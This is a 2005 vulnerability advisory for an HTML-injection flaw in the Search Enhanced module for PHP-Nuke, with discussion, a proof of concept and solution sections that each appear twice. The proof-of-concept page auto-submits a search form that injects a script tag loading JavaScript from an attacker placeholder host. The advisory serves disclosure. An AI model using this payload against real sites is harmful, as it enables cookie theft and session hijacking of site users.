Search Enhanced Module for PHP-Nuke HTML Injection Vulnerability
BID:15218
Info
Search Enhanced Module for PHP-Nuke HTML Injection Vulnerability
| Bugtraq ID: | 15218 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 26 2005 12:00AM |
| Updated: | Oct 26 2005 12:00AM |
| Credit: | [email protected] is credited with the discovery of this vulnerability. |
| Vulnerable: |
Search Enhanced Search Enhanced 2.0 Search Enhanced Search Enhanced 1.1 |
| Not Vulnerable: | |
Discussion
Search Enhanced Module for PHP-Nuke HTML Injection Vulnerability
Search Enhanced module for is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
Search Enhanced module for is prone to an HTML injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in dynamically generated content.
Attacker-supplied HTML and script code would be executed in the context of the affected Web site, potentially allowing for theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
Exploit / POC
Search Enhanced Module for PHP-Nuke HTML Injection Vulnerability
No exploit is required.
A sample malicious code page has been provided:
#open_me.htm ::
<html>
<form name=searchform method=post action=http://www.example.com/modules.php?name=Search_Enhanced>
<input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html>
No exploit is required.
A sample malicious code page has been provided:
#open_me.htm ::
<html>
<form name=searchform method=post action=http://www.example.com/modules.php?name=Search_Enhanced>
<input type="text" name="query" size="15" value='<script src=http://[location]/js.js></script>'>
<input type=submit name=sub>
<script>document.searchform.sub.click()</script>
</html>
Solution / Fix
Search Enhanced Module for PHP-Nuke HTML Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Search Enhanced Module for PHP-Nuke HTML Injection Vulnerability
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